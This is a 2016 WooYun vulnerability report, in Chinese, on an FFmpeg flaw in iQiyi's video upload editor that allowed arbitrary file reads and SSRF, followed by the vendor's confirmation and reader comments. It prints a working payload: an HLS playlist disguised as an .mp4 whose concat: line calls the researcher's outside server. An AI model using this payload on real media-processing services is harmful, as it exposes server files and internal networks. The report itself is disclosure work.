当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0205669

漏洞标题：爱奇艺主站某处FFmpeg漏洞可导致任意文件读取

相关厂商：奇艺

漏洞作者： 数据流

提交时间：2016-05-06 14:27

修复时间：2016-06-20 14:50

公开时间：2016-06-20 14:50

漏洞类型：任意文件遍历/下载

危害等级：高

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-05-06： 细节已通知厂商并且等待厂商处理中
2016-05-06： 厂商已经确认，细节仅向厂商公开
2016-05-16： 细节向核心白帽子及相关领域专家公开
2016-05-26： 细节向普通白帽子公开
2016-06-05： 细节向实习白帽子公开
2016-06-20： 细节向公众公开

简要描述：

昨天上传图片会中招，现在上传视频也会中招。。
当网站后台调用FFmpeg进行流媒体处理时会触发该漏洞 ，但读取的文件应该是视频存储服务器

详细说明：

案例：https://hackerone.com/reports/115857
直接上传视频那里貌似没有漏洞，但在主站另外一处也可以上传视频
http://www.iqiyi.com/u/editor/

1.jpg


直接上传mp4文件，内容如下:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://115browser.com/mp4/remote.m3u8
#EXT-X-ENDLIST


其他利用文件与详细的利用可以参考上面给的hackerone案例

漏洞证明：

2.jpg


上传后会访问我的服务器，也可造成SSRF
读取passwd

3.jpg

修复方案：

版权声明：转载请注明来源 数据流@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2016-05-06 14:41

厂商回复：

感谢关注爱奇艺PPS安全，漏洞确认存在，我们尽快修复。 谢谢

最新状态：

暂无

漏洞评价：

评价

  1. 2016-05-06 14:28 | Sai、 ( 路人 | Rank:14 漏洞数:4 | for fun……)

    沙发

  2. 2016-05-06 14:32 | px1624 ( 普通白帽子 | Rank:1151 漏洞数:207 | px1624)

    ...

  3. 2016-05-06 14:37 | 刺刺 ( 普通白帽子 | Rank:711 漏洞数:65 | 真正的安全并不是技术，而是人类善良的心灵...)

    图片、视频、flash 下面是不是要到 swftools了！

  4. 2016-05-06 14:41 | 紫霞仙子 认证白帽子 ( 普通白帽子 | Rank:2302 漏洞数:307 | 没好团队，啥都干不成！！！)

    好吧，昨晚试了，今天还没时间弄了，你就提了

  5. 2016-05-06 22:30 | Freebug ( 普通白帽子 | Rank:110 漏洞数:39 | 流氓是一种高尚的职业！)

    感谢关注爱奇艺PPS安全，漏洞确认存在，我们尽快修复。 谢谢

  6. 2016-05-06 22:32 | 小牛牛 ( 普通白帽子 | Rank:139 漏洞数:17 | 求带)

    ..我想知道你是怎么成功的

  7. 2016-05-06 22:38 | Freebug ( 普通白帽子 | Rank:110 漏洞数:39 | 流氓是一种高尚的职业！)

    @小牛牛 求带

  8. 2016-05-10 18:09 | 子墨 ( 普通白帽子 | Rank:268 漏洞数:30 | 天地不仁,以万物为刍狗;圣人不仁,以百姓为...)

    流弊~